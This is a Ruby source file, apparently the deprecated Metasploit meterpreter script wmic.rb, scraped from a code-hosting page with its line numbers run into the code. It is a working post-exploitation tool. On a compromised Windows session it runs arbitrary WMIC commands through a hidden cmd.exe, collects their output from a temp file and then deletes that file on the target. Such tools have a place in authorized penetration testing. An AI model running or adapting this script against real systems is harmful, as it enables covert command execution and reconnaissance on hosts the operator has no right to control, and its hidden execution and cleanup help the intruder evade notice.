Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/wmic.rb
Views: 11766
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567#Meterpreter script for running WMIC commands on Windows 2003, Windows Vista8# and Windows XP and Windows 2008 targets.9#Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com10################## Variable Declarations ##################11session = client12wininfo = client.sys.config.sysinfo13# Setting Arguments14@@exec_opts = Rex::Parser::Arguments.new(15"-h" => [ false,"Help menu." ],16"-c" => [ true,"Command to execute. The command must be enclosed in double quotes."],17"-f" => [ true,"File where to saved output of command."],18"-s" => [ true,"Text file with list of commands, one per line."]19)20#Setting Argument variables21commands = []22script = []23outfile = nil2425################## Function Declarations ##################26# Function for running a list of WMIC commands stored in a array, returns string27def wmicexec(session,wmiccmds= nil)28tmpout = ''29session.response_timeout=12030begin31tmp = session.sys.config.getenv('TEMP')32wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000))33wmiccmds.each do |wmi|34print_status "running command wmic #{wmi}"35print_line wmicfl36r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true})37sleep(2)38#Making sure that wmic finishes before executing next wmic command39prog2check = "wmic.exe"40found = 041while found == 042session.sys.process.get_processes().each do |x|43found =144if prog2check == (x['name'].downcase)45sleep(0.5)46found = 047end48end49end50r.close51end52# Read the output file of the wmic commands53wmioutfile = session.fs.file.new(wmicfl, "rb")54until wmioutfile.eof?55tmpout << wmioutfile.read56end57wmioutfile.close58rescue ::Exception => e59print_status("Error running WMIC commands: #{e.class} #{e}")60end61# We delete the file with the wmic command output.62c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})63c.close64tmpout65end66# Function for writing results of other functions to a file67def filewrt(file2wrt, data2wrt)68output = ::File.open(file2wrt, "a")69data2wrt.each_line do |d|70output.puts(d)71end72output.close73end7475#check for proper Meterpreter Platform76def unsupported77print_error("This version of Meterpreter is not supported with this Script!")78raise Rex::Script::Completed79end808182def usage83print_line("Windows WMIC Command Execution Meterpreter Script ")84print_line @@exec_opts.usage85print_line("USAGE:")86print_line("run wmic -c \"WMIC Command Argument\"\n")87print_line("NOTE:")88print_line("Not all arguments for WMIC can be used, the /append: option is used by the script")89print_line("for output retrieval. Arguments must be encased in double quotes and special characters escaped\n")90print_line("Example:")91print_line("run wmic -c \"useraccount where (name = \\\'Administrator\\\') get name, sid\"\n")92raise Rex::Script::Completed93end9495################## Main ##################96@@exec_opts.parse(args) { |opt, idx, val|97case opt98when "-c"99100commands.concat(val.split("/"))101102when "-s"103104script = val105if not ::File.exist?(script)106raise "Command List File does not exist!"107else108::File.open(script, "r").each_line do |line|109next if line.strip.length < 1110next if line[0,1] == "#"111commands << line.chomp112end113end114when "-f"115116outfile = val117when "-h"118usage119else120print_error "Unknown option: #{opt}"121usage122end123124}125126if args.length == 0127usage128end129unsupported if client.platform != 'windows'130131if outfile == nil132print_status wmicexec(session,commands)133else134print_status("Saving output of WMIC to #{outfile}")135filewrt(outfile, wmicexec(session,commands))136end137138139